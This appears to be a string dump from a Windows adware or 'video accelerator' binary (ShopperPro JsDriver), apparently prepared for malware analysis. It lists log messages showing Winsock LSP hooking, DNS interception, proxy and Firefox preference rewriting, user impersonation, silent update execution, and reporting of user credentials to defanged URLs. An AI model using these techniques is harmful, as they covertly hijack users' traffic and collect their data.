[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect
[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind
[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall
[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket
[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect
[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW
[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents
[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect
[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult
[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername
[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname
[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt
[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName
[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl
[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf
[CBaseProviderProc::WSPJoinLeaf]
[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen
[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv
[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect
[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom
[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select
[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend
[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect
[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo
[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt
[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown
[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress
[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket
[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d
[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d
[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup
[CRedirectController::SetPassThrough]
[CRedirectController::GetTestingMode] %d
[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration
[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration
IsOurPacFileExist: %s
[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s
showitunesMsg
DontShowAccelerationNotSupported
lastiTunesMsgTime
ManualProxyPort
[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d
[CConfig::IsLastTestingSucceeded] XML - Status = %d
[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)
[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)
[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)
[CConfig::IsTestingMode] TestingMode = %d (XML)
[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)
[CConfig::SetTestingMode] TestingMode = %d (XML)
[CConfig::GetBrandPort] BrandPort = %d
br_port
CConfig::SetCurrentUserKey
ReportCommFailed
[CConfig::SetSendLogFiles] Status = %d
[CConfig::SetSendInstLogFileOnly] Status = %d
[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CConfig::SetTracerOn] ___Error GetRegistryKeys
[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys
[CConfig::SetTracer] Status = %d
[CConfig::SetBackup] ___Error GetRegistryKeys
[CConfig::SetBackup] Status = %d
vaproxy.pac
[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list
[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list
[CConfig::IsXBoxMode] Status = %d
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CDnsController::SetRedirectFilter] Domain: %s
[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d
[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d
[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d
[CServiceController::ChangeStartType] Name: %s
[CServiceController::ExecuteServer] Exit
[CServiceController::ExecuteServer] Enter
[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d
[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] Enter, %s
[CServiceController::Install] ___Error OpenService Failed: %d
[CServiceController::Install] ___Error QueryServiceStatus Failed: %d
[CServiceController::Install] ___Error CreateService Failed: %d
[CServiceController::Install] ___Error OpenSCManager Failed: %d
%s -%s -%s
[CServiceController::Install] ___Error GetModuleFileName Failed: %d
[CServiceController::Remove] ___Error OpenService Failed: %d
[CServiceController::Remove] ___Error OpenSCManager Failed: %d
[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d
[CServiceController::GetStatus] ___Error OpenService Failed: %d
[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d
[CServiceController::Start] The service %s was started
[CServiceController::Start] ___Error StartService Failed: %d
[CServiceController::Start] ___Error OpenService Failed: %d
[CServiceController::Start] ___Error OpenSCManager Failed: %d
[CServiceController::Start] Going to start the service %s
[CServiceController::Stop] The service %s was stopped
JsDriverService.exe
[CServiceController::Stop] ___Error ControlService Failed: %d
[CServiceController::Stop] ___Error OpenService Failed: %d
[CServiceController::Stop] Going to stop the service %s
[CServiceController::Stop] ___Error SetServiceStatus Failed: %d
[CServiceController::GetArgsFromCmd] Exit
[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE
[CServiceController::GetArgsFromCmd] Enter
[CServiceController::RunCommand] Args: %s
[CMutexLock::Open] ___Error %d, OpenMutex: %s
[CMutexLock::Open] ___Error %d, CreateMutex: %s
[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d
[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d
[CAcceleratorEvents::ReportStatistics]
[CAcceleratorEvents::OnReportNoAccelerationReason] %s
[CSaveWatchUrl::Work] Saving Info...
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u
[CLspController::SetVersionStatus] VesrionStatus = %d
[CLspController::GetVersionStatus] VesrionStatus = %d
[CLspController::UpdateVersionStatus] Status: %d (%d)
[CLspController::UpdateVersionStatus] New Status: %d
[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---
[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---
[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---
[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---
[CLspController::IsToAccelerate] returns FALSE - status passthrough
[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists
[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u
[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d
[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d
[CLspController::IsPartner] partner = %d
[CLspController::UpdateXMLRulesVersion] Version: %s (%s)
[CLspController::UpdateXMLRulesVersion] New Version: %s
[CLspController::IsIgnored] ---@@@ Port: %u @@@---
Downloader.exe
RecordingManager.exe
WebKit2WebProcess.exe
firefox.exe
iTunes.exe
[CLspController::DoLoad] Hook status %d
VVV.youtube.com
[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d
[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d
PassThroughState
[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only
[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL
[CLspController::SetPassThrough]
[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s
[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d
[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d
[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d
[CLspController::IsDomainExistInRules] Found - Template: %s
[CLspController::IsDomainExistInRules] Domain: %s
[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u
[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u
[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d
[CImpersonate::Impersonate] Impersonated: %d
[CImpersonate::Revert] RevertToSelf - Error: %d
[CImpersonate::Revert] Impersonated: %d
[CImpersonate::Cleanup] Impersonated: %d
[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d
[CImpersonate::GetUserSID] The SID for %s is invalid.
[CImpersonate::GetUserSID] Not Enough Memory: %d
[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d
[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98
[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC
[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d
[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToWindowStation] CopySid - Error: %d
[CImpersonate::AddAceToWindowStation] AddAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d
[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d
[CImpersonate::AddAceToDesktop] AddAce - Error: %d
[CImpersonate::AddAceToDesktop] GetAce - Error: %d
[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d
[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS
[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d
[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS
[CImpersonate::OpenCurrentUserKey] Impersonated: %d
[CImpersonate::FindLoggedOnUser] Process32First - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d
[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
[CImpersonate::FindLoggedOnUser] Impersonated: %d
[CImpersonate::GetLogonUserName] Name: %s
[CImpersonate::GetLogonUserName] GetUserName - Error: %d
[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl
[CVA_Alert::OnDeserialize] ___Error get m_URL
user32.dll
WININET.DLL
kernel32.dll
d/d/%d d:d:d::d
[CFullController::IsProxySupported] ___Error Create Proxy Controller
[CFullController::IsProxySupported] Create Proxy Controller...
[CFullController::SetPassThrough]
[CFullController::Init] ___Error to Create IHttpEngineConfiguration
[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d
[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d
[CProxyController::SetVersionStatus] Status: %d -> %d
[CProxyController::GetVersionStatus] Status: %d
[CProxyController::Init] ___Error to Create IHttpEngineConfiguration
[CProxyController::IsAloud] FALSE - There is a pac file: %s
[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d
[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d
[CDriverManager::IoControl] DeviceIoControl failed: %d
[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d
[CDriverController::GetRedirectedConnectionInfo] Port %d
[CDriverController::SetRedirectInfo] to port %d
[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d
[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d
[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d
[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d
[CDriverController::SetRedirectInfo] ___Error open device %d
\\.\svd
HttpHandleAll
HttpWorkerBufferLimit
HttpListenPort
HttpListenIP
RtmpListenPort
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d
SOFTWARE\ShopperPro\JsDriver\%s\Original
SOFTWARE\ShopperPro\JsDriver\%s\Current
[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s
[CDnsProxyServer::load_dns_clients] IP: %s
[CDnsProxyServer::get_dns_servers] Dns Servers count: %d
[CDnsProxyServer::get_dns_servers] Dns Server: %s
[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s
[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s
[CDnsProxyServer::get_dns_servers] NameServer: %s
[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s
[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d
[CDnsProxyServer::get_dns_servers] ___Error key: %s
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d
[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d
[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s
[CDnsProxyServer::Start] Host name: %s
[CDnsProxyServer::Start] ___Error gethostname. LE: %d
[CDnsProxyServer::dns_reverse_lookup] Name: %s
[CDnsProxyServer::dns_reverse_lookup] IP: %s
[CDnsProxyServer::add_dns_client] IP: %s
%u.%u.%u.%u
[CDnsProxyServer::is_dns_client] IP: %s
[CDnsProxyServer::save_dns_clients] IP: %s
[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@
[CDnsProxyServer::dns_send_reply] Domain: %s
[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server
[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d
[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query
[CDnsProxyServer::OnRecv] unsupported opcode: %d
[CDnsProxyServer::OnRecv] DNS query: %s
[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d
[CDnsProxyServer::OnRecv] Got packet with invalid size of %d
StartPortRange
EndPortRange
</URL>
<URL>
CAcceleratedEventsThread::OnReportNoAccelerationReason
0.0.0.0
%s%lld%s
%s%d%s
<EMBED><URL>
[CAcceleratedEventsThread::ReportEmbedStreaming]
[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s
[CAcceleratedEventsThread::ReportStatistics] %s
[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s
%s%s%s
[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s
[CAcceleratedEventsThread::ReportVideoID] XML = %s
<WATCH><URL>%s</URL></WATCH>
[CAcceleratedEventsThread::ReportVideoID] URL = %s
YOUTUBE.COM/GET_VIDEO?VIDEO_ID=
[CAcceleratedEventsThread::ReportFailureReason] %s
[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s
[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s
[CAcceleratedEventsThread::OnReportStatistics]
[CAcceleratedEventsThread::ReportAccelerations]
[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI
[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)
DestroyPipeEventThreadManager
CreatePipeEventThreadManager
[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u
[Mine_GetAddrInfoW] nodename: %S
[Mine_GetAddrInfoExA] pName: %s
[Mine_GetAddrInfoExW] pName: %S
[Mine_getaddrinfo] nodename: %s
[CDNSInterceptor::Detour] GetAddrInfoExW - %d
[CDNSInterceptor::Detour] GetAddrInfoExA - %d
[CDNSInterceptor::Detour] GetAddrInfoW - %d
[CDNSInterceptor::Detour] getaddrinfo - %d
[CDNSInterceptor::Detour] gethostbyname - %d
[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll
ws2_32.dll
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d
[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d
[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL
[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p
[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
http=
[CIEInternetProxySettings::Save] %s - %s = %s
ListenPort
[EngineConfiguration::GetCurrentUserKey] User Key: %X
[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
HttpRedirectProxyPort
HttpRedirectProxyDomain
[CAcceleratorEventsData::OnDeserialize] ___Error get URL
[GZipWrapper::InflateGzipData] ___Error ReadString : %s
[GZipWrapper::InflateGzipData] ___Error Open file : %s
[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s
GZipWrapper_%d.tmp
C:\ProgramData\tmp\
http_port
prefs.js
user.js
user_pref("network.proxy.
autoconfig_url
[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d
[CAsyncUpdate::StartUpdate] Download URL: %s
[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s
[CAsyncUpdate::StartUpdate] Update Page: %s
va_conf.dat
[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s
[CAsyncUpdate::DownloadComplete] Result: %d, File: %s
1.0.0.0
Temp.dll
[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s
[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s
Trial.dat
RESULT.VA_TRIAL.CONFIG.DATA
Temp.zip
RESULT.VA_RES.RESOURCES.DOWNLOAD_URL
RESULT.VA_RES.RESOURCES.VERSION
RESULT.BLACKLIST.DATA
RESULT.SENDLOGRULE
RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING
RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING
RESULT.ADS.SHOW
[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s
[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s
RESULT.VA.CONFIG.SITES.ZIP
RESULT.VA.CONFIG.SITES.XMLVERSION
RESULT.VA.CONFIG.SITES.DATA
[CAsyncUpdate::UpdateSearchComplete] version status = %d
[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d
[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d
[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d
Old.dll
[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d
[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd
[CExecuteUpdate::OnDeserialize] ___Error get m_Directory
[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters
[CExecuteUpdate::OnDeserialize] ___Error get m_Operation
[CExecuteUpdate::OnDeserialize] ___Error get m_File
[CCoreConfig::InitConfig] Product Name %s UseRegistry %d
LastNum%d
LastID%d
1.1.4
%d/%d/%d %d:%d:%d
%s.PARAM
%s.ID
.CONDITIONS.CONDITION[%d]
.LANDING_URL
.ICON
.TOOLTIP
.NOTIFICATION_TYPE
.VALIDATE
.EXPIRATION_HOURS
.EXPIRATION_TIME
.NUM_OF_ICONS
.ANIMATION_TIME
.DISPLAY_TIME
.TYPE
.NUMBER
RESULT.LAMP
RESULT.ALERT
[Core::ShouldUpdate] %s
RESULT.LICENSE.EXPIRATION
RESULT.LICENSE.STATUS
RESULT.LASTERROR
[Core::RequestURL] Filename = %s, URL = %s
RESULT.USER.DAUI
RESULT.ANON.PW
RESULT.ANON.ID
RESULT.USER.PW
RESULT.USER.ID
[Core::AnalyzeXMLResult] Filename = %s
RESULT.STATS.COLLECT
RESULT.DISABLED_PARTNERS
RESULT.UPDATE.PAGE_URL
RESULT.UPDATE.DOWNLOAD_FILENAME
RESULT.UPDATE.DOWNLOAD_URL
RESULT.UPDATE.VERSION
RESULT.UPDATE.EXIST
Core.log
ddd
ddd
2.0.0.0
%DOMAIN%
%s=%s
&OldUserID=%s&OldPassword=%s
%s?%s
hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx
CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]
Password
[Core::SendInfo] Filename = %s, URL = %s
hXXp://online.%DOMAIN%.com/online/Report.aspx
[Core::HitStats] URL = %s
hXXp://pix.%DOMAIN%.com
[Core::BuildUpdateURL] URL = %s
&ElapsedTime=%d
[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s
&DAUI=%s
&ActivationCode=%s&ActivationEmail=%s
%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]
[Core::CheckForUpdates] RequestURL FAILED
[Core::CheckForUpdates] RequestURL SUCCEEDED
[Core::CheckForUpdates] URL = %s
